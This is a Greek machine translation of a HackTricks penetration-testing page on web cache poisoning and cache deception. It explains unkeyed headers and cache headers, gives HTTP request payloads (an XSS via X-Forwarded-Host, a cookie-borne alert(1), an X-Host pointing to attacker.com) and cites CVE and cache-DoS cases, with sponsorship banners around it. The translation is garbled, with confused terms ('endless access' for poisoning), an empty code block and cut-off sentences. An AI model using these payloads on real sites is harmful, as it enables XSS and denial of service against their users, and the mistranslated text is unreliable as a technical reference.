# Πληροφορίες για την Απάτη της Κρυφής Μνήμης (Cache Deception)
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με τοhtARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Η διαφορά
> **Ποια είναι η διαφορά μεταξύ απάτης της κρυφής μνήμης του ιστού (web cache poisoning) και απάτης της κρυφής μνήμης του ιστού (web cache deception);**
>
> * Στην **απάτη της κρυφής μνήμης του ιστού (web cache poisoning)**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην κρυφή μνήμη, και αυτό το περιεχόμενο παρέχεται από την κρυφή μνήμη σε άλλους χρήστες της εφαρμογής.
> * Στην **απάτη της κρυφής μνήμης του ιστού (web cache deception)**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην κρυφή μνήμη, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την κρυφή μνήμη.
## Απάτη της Κρυφής Μνήμης (Cache Poisoning)
Η απάτη της κρυφής μνήμης (cache poisoning) στοχεύει στο να παραπλανήσει την κρυφή μνήμη του πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση παρέχεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της κρυφής μνήμης.
Η εκτέλεση μιας επίθεσης απάτης της κρυφής μνήμης περιλαμβάνει αρκετά βήματα:
1. **Αναγνώριση μη κλειδωμένων εισόδων**: Αυτά είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί μια αίτηση στην κρυφή μνήμη, μπορούν να αλλάξουν την απάντηση που επιστρέφεται από τον διακομιστή. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να παραπλανήσουν την κρυφή μνήμη.
2. **Εκμετάλλευση των μη κλειδωμένων εισόδων**: Μετά την αναγνώριση των μη κλειδωμένων εισόδων, το επόμενο βήμα είναι να καταλάβετε πώς να καταχραστείτε αυτές τις παραμέτρους για να τροποποιήσετε την απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
3. **Βεβαίωση ότι η μολυσμένη απάντηση αποθηκεύεται στην κρυφή μνήμη**: Το τελευταίο βήμα είναι να διασφαλίσετε ότι η τροποποιημένη απάντηση αποθηκεύεται στην κρυφή μνήμη. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στην επηρεαζόμενη σελίδα κατά την περίοδο της μολυνσης της κρυφής μνήμης θα λάβει τη μολυσμένη απάντηση.
### Ανακάλυψη: Έλεγχος κεφαλίδων HTTP
Συνήθως, όταν μια απάντηση έχει **αποθηκευτεί στην κρυφή μνήμη**, θα υπάρχει μια **κεφαλίδα που το υποδεικνύει**, μπορείτε να ελέγξετε ποιες κεφαλίδες πρέπει να προσέ
```markup
```
### Εξαγωγή επιβλαβούς απόκρισης από τον διακομιστή πίσω από τον διακομιστή
Αφού εντοπίσετε την παράμετρο/κεφαλίδα, ελέγξτε πώς γίνεται η **απολύμανση** της και **πού** επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να την καταχραστείτε με οποιονδήποτε τρόπο (να εκτελέσετε ένα XSS ή να φορτώσετε έναν κώδικα JS που ελέγχετε εσείς; να πραγματοποιήσετε ένα DoS;...)
### Λήψη της κρυφής απόκρισης
Αφού **εντοπίσετε** τη **σελίδα** που μπορεί να καταχραστεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την καταχραστείτε, πρέπει να λάβετε την κρυφή απόκριση της σελίδας. Ανάλογα με το πόρο που προσπαθείτε να λάβετε από την κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, μπορεί να χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.\
Η κεφαλίδα **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμη, καθώς μπορεί να έχει την τιμή **`miss`** όταν ο αίτημα δεν έχει αποθηκευτεί στη μνήμη και την τιμή **`hit`** όταν έχει αποθηκευτεί.\
Επίσης, ενδιαφέρουσα είναι η κεφαλίδα **`Cache-Control`**, για να γνωρίζετε αν ένας πόρος αποθηκεύεται στη μνήμη και πότε θα γίνει η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`\
Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του κλειδιού της μνήμης** ακόμα κι αν συνήθως δεν έχουν κλειδί. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να μολύνει τη μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`.\
Μια ακόμη κεφαλίδα που σχετίζεται με τη μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην προσωρινή μνήμη του διακομιστή.
Όταν αποθηκεύετε ένα αίτημα στη μνήμη, **προσέξτε τις κεφαλίδες που χρησιμοποιείτε**, επειδή κάποιες από αυτές μπορεί να χρησιμοποιηθούν **απροσδόκητα** ως **κλειδιά** και ο **θύμα θα πρέπει να χρησιμοποιήσει ακριβώς την ίδια κεφαλίδα**. Δοκιμάστε πάντα μια Δηλητηρίαση Κρυφής Μνήμης με **διάφορους περιηγητές** για να ελέγξετε αν λειτουργεί.
## Παραδείγματα Εκμετάλλευσης
### Ευκολότερο παράδειγμα
Μια κεφαλίδα όπως `X-Forwarded-For` αντανακλάται στην απόκριση χωρίς απολύμανση.\
Μπορείτε να στείλετε ένα απλό φορτίο XSS και να μολύνετε τη μνήμη, έτσι ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να εκτελούνται XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
```
_Σημείωση ότι αυτό θα δηλητηριάσει ένα αίτημα προς `/en?region=uk` και όχι προς `/en`_
### Χρήση δηλητηρίασης της προσωρινής μνήμης του ιστού για την εκμετάλλευση ευπαθειών στην χειριστή των cookies
Τα cookies μπορεί επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Εάν μπορείτε να το καταχραστείτε για να προκαλέσετε ένα XSS για παράδειγμα, μπορείτε να εκμεταλλευτείτε το XSS σε πολλούς πελάτες που φορτώνουν την κακόβουλη απόκριση της προσωρινής μνήμης.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Σημείωση ότι εάν το ευάλωτο cookie χρησιμοποιείται συχνά από τους χρήστες, οι κανονικές αιτήσεις θα καθαρίζουν την cache.
### Χρήση πολλαπλών κεφαλίδων για την εκμετάλλευση ευπάθειας δηλητηρίασης της cache του ιστού
Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε πολλαπλές μη κρυπτογραφημένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορείτε να βρείτε ένα **Ανοικτό ανακατεύθυνση** εάν ορίσετε το `X-Forwarded-Host` σε έναν τομέα που ελέγχετε εσείς και το `X-Forwarded-Scheme` σε `http`. **Εάν** ο **διακομιστής** ανακατευθύνει όλα τα αιτήματα **HTTP** σε **HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του τομέα για την ανακατεύθυνση. Μπορείτε να ελέγξετε προς ποια σελίδα γίνεται η ανακατεύθυνση.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Εκμεταλλευόμενος με περιορισμένο `Vary` header
Εάν ανακαλύψετε ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα τομέα για τη φόρτωση ενός πόρου JS** αλλά το **`Vary`** header στην απόκριση υποδεικνύει το **`User-Agent`**, τότε πρέπει να βρείτε έναν τρόπο να εξαγάγετε το User-Agent του θύματος και να δηλητηριάσετε την προσωρινή μνήμη χρησιμοποιώντας αυτόν τον user agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Εκμεταλλευόμενοι την Ατελείωτη Προσπέλαση Προσωρινής Αποθήκευσης HTTP με την κατάχρηση της Ατελείωτης Προσπέλασης Αιτημάτων HTTP
Μάθετε εδώ πώς να πραγματοποιήσετε [επιθέσεις Ατελείωτης Προσπέλασης Προσωρινής Αποθήκευσης με την κατάχρηση της Ατελείωτης Προσπέλασης Αιτημάτων HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Αυτοματοποιημένος έλεγχος για Ατελείωτη Προσπέλαση Προσωρινής Αποθήκευσης Ιστού
Το [Εργαλείο Ευπαθειών Προσωρινής Αποθήκευσης Ιστού](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για τον αυτοματοποιημένο έλεγχο της ατελείωτης προσπέλασης προσωρινής αποθήκευσης ιστού. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι υψηλά προσαρμόσιμο.
Παράδειγμα χρήσης: `wcvs -u example.com`
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ευπαθείς Παραδείγματα
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
Ο ATS προώθησε το αποσπασμένο τμήμα μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί προσωρινής αποθήκευσης χρησιμοποιώντας μόνο τον κεντρικό κόμβο, τη διαδρομή και το αίτημα (αγνοώντας το αποσπασμένο τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` αποστάλθηκε στον πίσω κόμβο ως `/#/../?r=javascript:alert(1)` και το κλειδί προσωρινής αποθήκευσης δεν περιείχε το φορτίο μέσα του, μόνο τον κεντρικό κόμβο, τη διαδρομή και το αίτημα.
### GitHub CP-DoS
Η αποστολή μιας κακής τιμής στην κεφαλίδα περιεχομένου προκάλεσε μια προσωρινή αποθηκευμένη απόκριση 405. Το κλειδί προσωρινής αποθήκευσης περιείχε το cookie, οπότε ήταν δυνατή μόνο η επίθεση σε μη εξουσιοδοτημένους χρήστες.
### GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί κάδους GCP για την αποθήκευση στατικού περιεχομένου. Οι **κάδοι GCP** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατόν να αποσταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριάσει η προσωρινή αποθήκευση επιστρέφοντας ένα κενό σώμα απόκρισης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
### Rack Middleware (Ruby on Rails)
Στις εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν αποστέλλεται η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια ανακατεύθυνση 301 στην ίδια τοποθεσία
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με τοhtARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.